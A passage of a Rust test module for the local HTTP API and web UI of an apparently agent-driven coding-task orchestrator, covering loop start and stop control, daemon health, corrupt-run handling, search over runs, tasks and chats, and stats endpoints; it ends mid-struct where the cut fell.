10090 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10091 .expect("run still on disk under this fixture's own home");
10092 assert_eq!(
10093 reloaded_run.status,
10094 RunStatus::Superseded,
10095 "closing the task by hand must relabel the earlier blocked attempt exactly \
10096 like the loop's own settle path does"
10097 );
10098 }
10099
10100 #[tokio::test]
10101 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10102 let f = Fixture::start().await;
10107 let queue = f.queue();
10108 let runs = f.runs();
10109 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10110 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10111
10112 let mut task = Task::new(
10113 "closed with nothing actually landed".to_owned(),
10114 "x".to_owned(),
10115 PathBuf::from("/repo/magi"),
10116 Source::Human,
10117 );
10118 task.runs.push("20260101-000000-dob1".to_owned());
10119 task.runs.push("20260101-000000-dob2".to_owned());
10120 queue.put(&mut task).expect("file the task");
10121
10122 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10123 assert_eq!(done.status, 200, "{}", done.body);
10124
10125 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10126 .expect("run still on disk under this fixture's own home");
10127 assert_eq!(
10128 reloaded_run.status,
10129 RunStatus::Blocked,
10130 "the last recorded attempt never landed, so the earlier one must not be \
10131 relabelled as superseded by it"
10132 );
10133 }
10134
10135 #[tokio::test]
10136 async fn unknown_ids_are_json_not_found_on_both_stores() {
10137 let f = Fixture::start().await;
10138
10139 let run = f.get("/api/runs/nosuchrun").await;
10140 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10141
10142 assert_eq!(run.status, 404);
10143 assert_eq!(task.status, 404);
10144 assert!(
10145 run.json()["error"]
10146 .as_str()
10147 .is_some_and(|e| e.contains("run")),
10148 "the error names what was not found: {}",
10149 run.body
10150 );
10151 assert!(
10152 task.json()["error"]
10153 .as_str()
10154 .is_some_and(|e| e.contains("task")),
10155 "the error names what was not found: {}",
10156 task.body
10157 );
10158 }
10159
10160 #[tokio::test]
10161 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10162 let f = Fixture::start().await;
10163
10164 let missing = f.get("/api/health").await.json();
10165 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10166
10167 write_daemon(
10168 f.home.path(),
10169 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10170 );
10171 let stale = f.get("/api/health").await.json();
10172 assert_eq!(
10173 stale["daemon"]["running"], false,
10174 "a minute without a heartbeat is a dead daemon, not a busy one"
10175 );
10176 assert!(
10177 stale["daemon"]["stale_for_secs"]
10178 .as_i64()
10179 .is_some_and(|s| s >= 55),
10180 "staleness is reported so the UI can say how long: {stale}"
10181 );
10182
10183 write_daemon(f.home.path(), Timestamp::now());
10184 let fresh = f.get("/api/health").await.json();
10185 assert_eq!(fresh["daemon"]["running"], true);
10186 assert_eq!(fresh["daemon"]["idle"], false);
10187 assert_eq!(fresh["daemon"]["pid"], 4242);
10188 assert_eq!(fresh["daemon"]["completed"], 7);
10189 assert_eq!(
10190 fresh["daemon"]["current"][0]["task"],
10191 "20260902-140501-aaaa"
10192 );
10193 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10194 }
10195
10196 #[tokio::test]
10197 async fn the_loop_is_not_running_until_something_starts_it() {
10198 let f = Fixture::start().await;
10199
10200 let view = f.get("/api/loop").await.json();
10201 assert_eq!(view["running"], false);
10202 assert_eq!(
10203 view["owned"], false,
10204 "nobody owns a loop that does not exist: {view}"
10205 );
10206 assert_eq!(view["stopping"], false);
10207 assert_eq!(view["last_error"], Value::Null);
10208 assert_eq!(view["daemon"]["running"], false);
10209 assert_eq!(
10210 view["repo"], "/repo/magi",
10211 "the repository a start would use, named before it is started"
10212 );
10213 }
10214
10215 #[tokio::test]
10216 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10217 let f = Fixture::start().await;
10218
10219 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10220 assert_eq!(res.status, 200, "{}", res.body);
10221 let view = res.json();
10222 assert_eq!(view["running"], true);
10223 assert_eq!(
10224 view["owned"], true,
10225 "the loop the UI started is the UI's own to stop: {view}"
10226 );
10227 assert_eq!(
10228 view["merge"],
10229 Value::Null,
10230 "no override was given, so each repository's own config decides"
10231 );
10232
10233 let health = f.get("/api/health").await.json();
10237 assert_eq!(health["loop"]["running"], true, "{health}");
10238 assert_eq!(health["loop"]["owned"], true, "{health}");
10239
10240 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10241 }
10242
10243 #[tokio::test]
10244 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10245 let f = Fixture::start().await;
10246 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10247 assert_eq!(first.status, 200, "{}", first.body);
10248
10249 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10250 assert_eq!(
10251 again.status, 409,
10252 "two loops on one queue race for the same claims: {}",
10253 again.body
10254 );
10255 assert!(
10256 again.json()["error"]
10257 .as_str()
10258 .is_some_and(|e| e.contains("already running the loop")),
10259 "the refusal has to say why: {}",
10260 again.body
10261 );
10262 assert_eq!(
10263 f.get("/api/loop").await.json()["running"],
10264 true,
10265 "and the loop that was already running is untouched by it"
10266 );
10267
10268 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10269 }
10270
10271 #[tokio::test]
10272 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10273 let f = Fixture::start().await;
10274 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10275
10276 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10277 assert_eq!(
10278 res.status, 200,
10279 "the answer must not wait for the loop: a run in flight is tens of \
10280 minutes and the operator is holding a phone: {}",
10281 res.body
10282 );
10283
10284 let view = settled(&f, |v| v["running"] == false).await;
10285 assert_eq!(view["owned"], false);
10286 assert_eq!(
10287 view["stopping"], false,
10288 "a loop that has stopped is not still stopping: {view}"
10289 );
10290 assert_eq!(
10291 view["last_error"],
10292 Value::Null,
10293 "a loop that was asked to stop did not fail: {view}"
10294 );
10295
10296 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10299 assert_eq!(twice.status, 200, "{}", twice.body);
10300 }
10301
10302 #[tokio::test]
10303 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10304 let f = Fixture::start().await;
10305 write_daemon(f.home.path(), Timestamp::now());
10308
10309 let view = f.get("/api/loop").await.json();
10310 assert_eq!(view["running"], false, "not in this process: {view}");
10311 assert_eq!(view["owned"], false, "and not this process's to control");
10312 assert_eq!(
10313 view["daemon"]["running"], true,
10314 "but a loop is alive somewhere, which is what the UI must say"
10315 );
10316 assert_eq!(view["daemon"]["pid"], 4242);
10317
10318 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10319 let res = f.post("/api/loop", Some(body)).await;
10320 assert_eq!(
10321 res.status, 409,
10322 "neither button may pretend to work on someone else's loop: {}",
10323 res.body
10324 );
10325 assert!(
10326 res.json()["error"]
10327 .as_str()
10328 .is_some_and(|e| e.contains("4242")),
10329 "the refusal has to name the process the operator must go to: {}",
10330 res.body
10331 );
10332 }
10333 assert_eq!(
10334 f.get("/api/loop").await.json()["running"],
10335 false,
10336 "and the refusal started nothing"
10337 );
10338 }
10339
10340 #[tokio::test]
10341 async fn a_stale_status_file_is_not_a_foreign_owner() {
10342 let f = Fixture::start().await;
10343 write_daemon(
10344 f.home.path(),
10345 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10346 );
10347
10348 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10349 assert_eq!(
10350 res.status, 200,
10351 "a daemon killed a minute ago must not lock the loop out of its \
10352 own home for good: {}",
10353 res.body
10354 );
10355 assert_eq!(res.json()["running"], true);
10356
10357 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10358 }
10359
10360 #[tokio::test]
10361 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10362 let f = Fixture::start().await;
10363 let before = f.get("/api/health").await.json()["loop_rev"]
10364 .as_u64()
10365 .expect("a loop revision");
10366
10367 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10368
10369 let after = f.get("/api/health").await.json()["loop_rev"]
10370 .as_u64()
10371 .expect("a loop revision");
10372 assert!(
10373 after > before,
10374 "the loop is in-process state, so this counter is the only thing \
10375 that tells a second device the first one started it: {before} -> \
10376 {after}"
10377 );
10378
10379 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10380 }
10381
10382 #[tokio::test]
10383 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10384 let f = Fixture::with_loop(launch_broken).await;
10385
10386 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10387 assert_eq!(
10388 res.status, 200,
10389 "starting it is not the failure: {}",
10390 res.body
10391 );
10392
10393 let view = settled(&f, |v| v["last_error"].is_string()).await;
10394 assert_eq!(
10395 view["running"], false,
10396 "a loop that died must not read as running, or the operator has \
10397 nothing to press: {view}"
10398 );
10399 assert_eq!(view["owned"], false);
10400 assert!(
10401 view["last_error"]
10402 .as_str()
10403 .is_some_and(|e| e.contains("read-only file system")),
10404 "the phone is where a loop that died at 3am is visible: {view}"
10405 );
10406
10407 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10410 assert_eq!(again.status, 200, "{}", again.body);
10411 assert_eq!(
10412 again.json()["last_error"],
10413 Value::Null,
10414 "a fresh start does not keep showing why the last one died"
10415 );
10416 }
10417
10418 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10430 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10431 let home = TempDir::new().expect("temp home");
10432 let runs = home.path().join("runs");
10433 std::fs::create_dir_all(&runs).expect("runs dir");
10434 let ui = Ui::new(
10435 Queue::at(home.path().join("queue")),
10436 Questions::at(home.path().join("questions")),
10437 Talks::at(home.path().join("talks")),
10438 runs,
10439 home.path().to_path_buf(),
10440 PathBuf::from("/repo/magi"),
10441 )
10442 .with_worktrees_root(home.path().join("wt"))
10443 .with_launch(launch_knocking_on_the_way_out);
10444 let looping = ui.looping();
10445 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10446 .await
10447 .expect("bind loopback");
10448 let addr = listener.local_addr().expect("local addr");
10449 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10450 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10451
10452 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10453 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10454
10455 let bound = std::sync::Mutex::new(None);
10470 hand_over(home.path(), &looping, served, |_| {
10471 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10472 let attempt = loop {
10473 match std::net::TcpListener::bind(addr) {
10474 Ok(l) => {
10475 drop(l);
10476 break Ok(());
10477 }
10478 Err(e)
10479 if e.kind() == std::io::ErrorKind::AddrInUse
10480 && std::time::Instant::now() < deadline =>
10481 {
10482 std::thread::sleep(std::time::Duration::from_millis(10));
10483 }
10484 Err(e) => break Err(e.to_string()),
10485 }
10486 };
10487 *bound.lock().expect("bound") = Some(attempt);
10488 Ok(1)
10489 })
10490 .await
10491 .expect("hand over");
10492
10493 assert_eq!(
10494 *PARK_HEARD.lock().expect("park heard"),
10495 Some(200),
10496 "the deck must answer while the loop is parking"
10497 );
10498 let attempt = bound
10499 .lock()
10500 .expect("bound")
10501 .take()
10502 .expect("the successor was started");
10503 assert!(
10504 attempt.is_ok(),
10505 "and the address must be free by the time it is: {attempt:?}"
10506 );
10507 }
10508
10509 #[tokio::test]
10510 async fn a_newer_daemon_status_file_still_renders() {
10511 let f = Fixture::start().await;
10512 std::fs::write(
10515 f.home.path().join("daemon.json"),
10516 serde_json::json!({
10517 "schema": 2,
10518 "updated_at": Timestamp::now().to_string(),
10519 "idle": true,
10520 "surprise": { "nested": [1, 2, 3] },
10521 })
10522 .to_string(),
10523 )
10524 .expect("write daemon.json");
10525
10526 let health = f.get("/api/health").await;
10527
10528 assert_eq!(health.status, 200);
10529 assert_eq!(health.json()["daemon"]["running"], true);
10530 }
10531
10532 #[tokio::test]
10533 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10534 let f = Fixture::start().await;
10535 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10536 let broken = f.runs().join("20260902-140502-bad");
10537 std::fs::create_dir_all(&broken).expect("run dir");
10538 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10539
10540 let list = f.get("/api/runs").await;
10541 let detail = f.get("/api/runs/20260902-140502-bad").await;
10542
10543 assert_eq!(list.status, 200);
10544 let listed = list.json();
10545 let ids: Vec<&str> = listed
10546 .as_array()
10547 .expect("an array")
10548 .iter()
10549 .map(|r| r["id"].as_str().expect("an id"))
10550 .collect();
10551 assert_eq!(
10552 ids,
10553 vec!["20260902-140501-good"],
10554 "one unreadable run must not cost the operator the whole history"
10555 );
10556 assert_eq!(detail.status, 500);
10557 assert!(
10558 detail.json()["error"]
10559 .as_str()
10560 .is_some_and(|e| e.contains("run.json")),
10561 "the failure names the file to look at: {}",
10562 detail.body
10563 );
10564 let health = f.get("/api/health").await;
10568 assert_eq!(health.json()["runs_unreadable"], 1);
10569 }
10570
10571 #[tokio::test]
10573 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10574 let f = Fixture::start().await;
10575 let runs = f.runs();
10576 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10577 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10578 let path = runs.join("20260902-140502-bbbb").join("run.json");
10581 let mut v: serde_json::Value =
10582 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10583 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10584 std::fs::write(&path, v.to_string()).unwrap();
10585 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10586 std::fs::write(
10587 runs.join("20260902-140503-cccc").join("run.json"),
10588 "{ not json",
10589 )
10590 .unwrap();
10591
10592 let res = f.get("/api/search?scope=runs&q=quokka").await;
10593 assert_eq!(res.status, 200, "{}", res.body);
10594 let v = res.json();
10595 assert_eq!(v["total"], 1, "{v}");
10596 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10597 assert_eq!(v["hits"][0]["field"], "text");
10598 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10599 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10600 assert!(
10601 parts
10602 .iter()
10603 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10604 "{v}"
10605 );
10606 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10607 assert_eq!(
10608 flat, "The Quokka leaks across threads",
10609 "whitespace is collapsed"
10610 );
10611
10612 let both = f
10614 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10615 .await
10616 .json();
10617 assert_eq!(both["total"], 1, "{both}");
10618 let neither = f
10619 .get("/api/search?scope=runs&q=quokka%20zebra")
10620 .await
10621 .json();
10622 assert_eq!(neither["total"], 0, "{neither}");
10623 let stmt = f
10625 .get("/api/search?scope=runs&q=mobile%20first")
10626 .await
10627 .json();
10628 assert_eq!(stmt["total"], 2, "{stmt}");
10629 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10630 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10631 }
10632
10633 #[test]
10634 fn snippet_ignores_terms_longer_than_the_field() {
10635 let terms = ["ok".to_owned(), "elephant".to_owned()];
10636 let parts = snippet_of("ok", &terms);
10637 assert_eq!(
10638 parts,
10639 vec![SnippetPart {
10640 text: "ok".to_owned(),
10641 hit: true
10642 }]
10643 );
10644 }
10645
10646 #[test]
10647 fn snippet_marks_matches_longer_than_the_window() {
10648 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10649 let hit_len = |parts: &[SnippetPart]| -> usize {
10650 parts
10651 .iter()
10652 .filter(|p| p.hit)
10653 .map(|p| p.text.chars().count())
10654 .sum()
10655 };
10656 let total =
10657 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10658
10659 let long = "a".repeat(120);
10660 let parts = snippet_of(&long, std::slice::from_ref(&long));
10661 assert!(hit_len(&parts) > 0, "{parts:?}");
10662 assert!(total(&parts) <= cap);
10663
10664 let ja = "あ".repeat(130);
10665 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10666 assert!(hit_len(&parts) > 0, "{parts:?}");
10667 assert!(total(&parts) <= cap);
10668
10669 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10671 let term = format!("ab{}", "c".repeat(100));
10672 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10673 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10674 assert!(total(&parts) <= cap);
10675
10676 let text = format!("{}z", "a".repeat(119));
10678 let parts = snippet_of(&text, &["a".repeat(120)]);
10679 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10680 }
10681
10682 #[tokio::test]
10683 async fn search_caps_hits_and_snippet_length() {
10684 let f = Fixture::start().await;
10685 let runs = f.runs();
10686 for n in 0..(SEARCH_MAX_HITS + 5) {
10687 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10688 }
10689 let v = f.get("/api/search?scope=runs&q=web").await.json();
10690 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10691 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10692 assert_eq!(v["truncated"], true);
10693 assert!(
10695 v["hits"]
10696 .as_array()
10697 .unwrap()
10698 .iter()
10699 .all(|h| h["run"]["status"] == "merged")
10700 );
10701
10702 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10703 let parts = snippet_of(&long, &["needle".to_owned()]);
10704 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10705 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10706 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10707 }
10708
10709 #[tokio::test]
10710 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10711 let f = Fixture::start().await;
10712 let queue = f.queue();
10713 let mut t = Task::new(
10714 "short title".to_owned(),
10715 "line one\nthe hidden Armadillo detail".to_owned(),
10716 PathBuf::from("/repo/magi"),
10717 Source::Agent {
10718 run: "r1".to_owned(),
10719 node: "chat".to_owned(),
10720 },
10721 );
10722 t.last_error = Some("disk full on /tmp".to_owned());
10723 queue.put(&mut t).expect("file the task");
10724
10725 for (q, want) in [
10726 ("armadillo", 1),
10727 ("disk%20FULL", 1),
10728 ("chat", 1),
10729 ("queued", 1),
10730 ("short%20nothing", 0),
10731 ] {
10732 let v = f
10733 .get(&format!("/api/search?scope=tasks&q={q}"))
10734 .await
10735 .json();
10736 assert_eq!(v["total"], want, "{q}: {v}");
10737 }
10738 for bad in [
10739 "/api/search?scope=tasks&q=",
10740 "/api/search?scope=tasks&q=%20",
10741 "/api/search?scope=chats&q=",
10742 "/api/search?scope=chats&q=%20",
10743 "/api/search?scope=nope&q=a",
10744 "/api/search?q=a",
10745 ] {
10746 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10747 }
10748 }
10749
10750 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10752 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10753 .expect("seat value");
10754 let turns: Vec<serde_json::Value> = turns
10755 .iter()
10756 .map(|(who, body)| {
10757 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10758 })
10759 .collect();
10760 let doc = serde_json::json!({
10761 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10762 "status": status, "turns": turns,
10763 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10764 "seat": seat,
10765 });
10766 let dir = f.home.path().join("talks");
10767 std::fs::create_dir_all(&dir).expect("talks dir");
10768 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10769 }
10770
10771 #[tokio::test]
10772 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10773 let f = Fixture::start().await;
10774 write_talk(
10775 &f,
10776 "20260901-000001-aaaa",
10777 "open",
10778 &[
10779 (
10780 "operator",
10781 "\n Why does the Pangolin cache expire?\nsecond line",
10782 ),
10783 ("agent", "Because the TTL is thirty seconds."),
10784 ],
10785 );
10786 write_talk(
10787 &f,
10788 "20260901-000002-bbbb",
10789 "closed",
10790 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10791 );
10792 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10793
10794 let search = |q: &'static str| {
10795 let f = &f;
10796 async move {
10797 f.get(&format!("/api/search?scope=chats&q={q}"))
10798 .await
10799 .json()
10800 }
10801 };
10802
10803 let v = search("PANGOLIN").await;
10804 assert_eq!(v["scope"], "chats");
10805 assert_eq!(v["total"], 1, "{v}");
10806 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10807 assert_eq!(v["hits"][0]["field"], "title");
10808 assert_eq!(v["unreadable"], 1, "{v}");
10809 let marked: Vec<&str> = v["hits"][0]["snippet"]
10810 .as_array()
10811 .unwrap()
10812 .iter()
10813 .filter(|p| p["hit"] == true)
10814 .map(|p| p["text"].as_str().unwrap())
10815 .collect();
10816 assert_eq!(marked, ["Pangolin"]);
10817
10818 let v = search("zebra").await;
10820 assert_eq!(v["total"], 1, "{v}");
10821 assert_eq!(v["hits"][0]["field"], "agent");
10822 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10824 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10825 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10827 assert_eq!(search(q).await["total"], 0, "{q}");
10828 }
10829 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10831 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10833
10834 let v = f.get("/api/search?scope=nope&q=a").await;
10835 assert_eq!(v.status, 400);
10836 assert!(
10837 v.body.contains("scope must be runs, tasks or chats"),
10838 "{}",
10839 v.body
10840 );
10841 }
10842
10843 #[test]
10844 fn a_question_card_links_a_task_id_to_the_task_page() {
10845 let start = APP_JS
10846 .find("function updateAskCard(")
10847 .expect("updateAskCard exists");
10848 let body = &APP_JS[start..];
10849 let body = &body[..body.find("\n}\n").expect("function end")];
10850 assert!(body.contains("question.run_is_task"));
10851 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10852 assert!(body.contains("`#/runs/${question.run}`"));
10853 assert!(body.contains("\"task\" : \"run\""));
10854 }
10855
10856 #[test]
10857 fn stats_bars_share_one_id_keyed_plan() {
10858 let start = APP_JS
10859 .find("function statsBarRows(")
10860 .expect("statsBarRows exists");
10861 let body = &APP_JS[start..];
10862 let body = &body[..body.find("\n}\n").expect("function end")];
10863 assert!(body.contains("statsBarPlan(rows)"));
10864 assert!(body.contains("statsAgentTone(row.agent)"));
10865 assert!(!body.contains("candTone(i)"));
10866 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10867 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
10868 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10869 }
10870 }
10871
10872 #[test]
10873 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
10874 let start = APP_JS
10875 .find("function renderStatsReviewerScatter(")
10876 .expect("renderStatsReviewerScatter exists");
10877 let body = &APP_JS[start..];
10878 let body = &body[..body.find("\n}\n").expect("function end")];
10879 assert!(body.contains("statsScatterPlan(reviewers)"));
10880 assert!(body.contains("statsAgentTone(d.agent)"));
10881 assert!(APP_JS.contains("function statsScatterPlan("));
10882 assert!(
10883 APP_JS.contains("d.submitted < STATS_LOW_N")
10884 || APP_JS.contains("r.submitted < STATS_LOW_N")
10885 );
10886 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
10887 assert!(APP_CSS.contains(".precision-scatter"));
10888 }
10889
10890 #[test]
10891 fn advisor_reflection_is_drawn_as_stacked_segments() {
10892 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
10893 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
10894 let html = include_str!("../assets/ui/index.html");
10895 assert!(html.contains("Approximate"));
10896 for label in ["reflected strongly", "faint", "no proposal"] {
10897 assert!(html.contains(label));
10898 }
10899 let css = include_str!("../assets/ui/app.css");
10900 for c in ["refl-strong", "refl-faint", "refl-absent"] {
10901 assert!(css.contains(&format!(".{c} {{")));
10902 }
10903 }
10904
10905 #[test]
10906 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10907 let start = APP_JS
10908 .find("function scheduleSearch(")
10909 .expect("scheduleSearch exists");
10910 let body = &APP_JS[start..];
10911 let body = &body[..body.find("\n}\n").expect("function end")];
10912 assert!(body.contains("s.seq += 1"));
10913 }
10914
10915 #[tokio::test]
10920 async fn stats_runs_unreadable_matches_health() {
10921 let f = Fixture::start().await;
10922 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10923 let broken = f.runs().join("20260902-140502-bad");
10924 std::fs::create_dir_all(&broken).expect("run dir");
10925 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10926
10927 let stats = f.get("/api/stats").await;
10928 let health = f.get("/api/health").await;
10929
10930 assert_eq!(stats.status, 200);
10931 assert_eq!(stats.json()["totals"]["runs"], 1);
10932 assert_eq!(stats.json()["runs_unreadable"], 1);
10933 assert_eq!(
10934 stats.json()["runs_unreadable"],
10935 health.json()["runs_unreadable"],
10936 "the dashboard and /api/health must never disagree about how many \
10937 runs could not be read"
10938 );
10939 }
10940
10941 #[tokio::test]
10942 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10943 let f = Fixture::start().await;
10944 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10945 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10946 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10947
10948 let totals = &f.get("/api/stats").await.json()["totals"];
10949 assert_eq!(totals["runs"], 3);
10950 assert_eq!(totals["merged"], 1);
10951 assert_eq!(totals["stalled"], 1);
10952 assert_eq!(totals["in_progress"], 1);
10953 assert_eq!(totals["blocked"], 0);
10956 assert_eq!(totals["ready"], 0);
10957 }
10958
10959 #[tokio::test]
10960 async fn stats_advisors_report_proposals_and_reflection() {
10961 use crate::advise::{Advice, AdvisorRecord, Reflection};
10962 use crate::verdict::Proposal;
10963
10964 let f = Fixture::start().await;
10965 let mut state = RunState::new(
10966 PathBuf::from("/repo/magi"),
10967 "main".to_owned(),
10968 "0123456789abcdef".to_owned(),
10969 "task".to_owned(),
10970 Config::default(),
10971 );
10972 state.id = "20260902-140501-a".to_owned();
10973 state.status = RunStatus::Merged;
10974 state.advice = Some(Advice {
10975 records: vec![
10976 AdvisorRecord {
10977 seat: "advisor-1".to_owned(),
10978 agent: "alpha".to_owned(),
10979 proposal: Some(Proposal {
10980 approach: "do it".to_owned(),
10981 key_tradeoff: "speed over memory".to_owned(),
10982 risks: Vec::new(),
10983 touches: Vec::new(),
10984 why_not_naive: "breaks under load".to_owned(),
10985 }),
10986 error: None,
10987 duration_ms: 0,
10988 reflection: Reflection::Strong,
10989 },
10990 AdvisorRecord {
10991 seat: "advisor-2".to_owned(),
10992 agent: "alpha".to_owned(),
10993 proposal: None,
10994 error: Some("timed out".to_owned()),
10995 duration_ms: 0,
10996 reflection: Reflection::Absent,
10997 },
10998 ],
10999 synthesis: Some("blended brief".to_owned()),
11000 });
11001 let dir = f.runs().join(&state.id);
11002 std::fs::create_dir_all(&dir).expect("run dir");
11003 std::fs::write(
11004 dir.join("run.json"),
11005 serde_json::to_string_pretty(&state).expect("serialize run"),
11006 )
11007 .expect("write run.json");
11008
11009 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11010 let alpha = advisors
11011 .as_array()
11012 .expect("an array")
11013 .iter()
11014 .find(|a| a["agent"] == "alpha")
11015 .expect("alpha row");
11016 assert_eq!(alpha["seated"], 2);
11017 assert_eq!(alpha["proposed"], 1);
11018 assert_eq!(alpha["absent"], 1);
11019 assert_eq!(alpha["strong"], 1);
11020 assert_eq!(alpha["faint"], 0);
11021 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11022 }
11023
11024 #[tokio::test]
11025 async fn stats_release_bumps_split_clean_from_attention() {
11026 use crate::run::ReleaseBump;
11027
11028 let f = Fixture::start().await;
11029
11030 let mut clean = RunState::new(
11031 PathBuf::from("/repo/magi"),
11032 "main".to_owned(),
11033 "0123456789abcdef".to_owned(),
11034 "task".to_owned(),
11035 Config::default(),
11036 );
11037 clean.id = "20260902-140501-a".to_owned();
11038 clean.status = RunStatus::Merged;
11039 clean.release_bump = Some(ReleaseBump {
11040 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11041 version: Some("1.0.0".to_owned()),
11042 automerge_enabled: true,
11043 merged_directly: false,
11044 local: false,
11045 release: None,
11046 problem: None,
11047 action_required: None,
11048 });
11049
11050 let mut blocked = RunState::new(
11051 PathBuf::from("/repo/magi"),
11052 "main".to_owned(),
11053 "0123456789abcdef".to_owned(),
11054 "task".to_owned(),
11055 Config::default(),
11056 );
11057 blocked.id = "20260902-140502-b".to_owned();
11058 blocked.status = RunStatus::Merged;
11059 blocked.release_bump = Some(ReleaseBump {
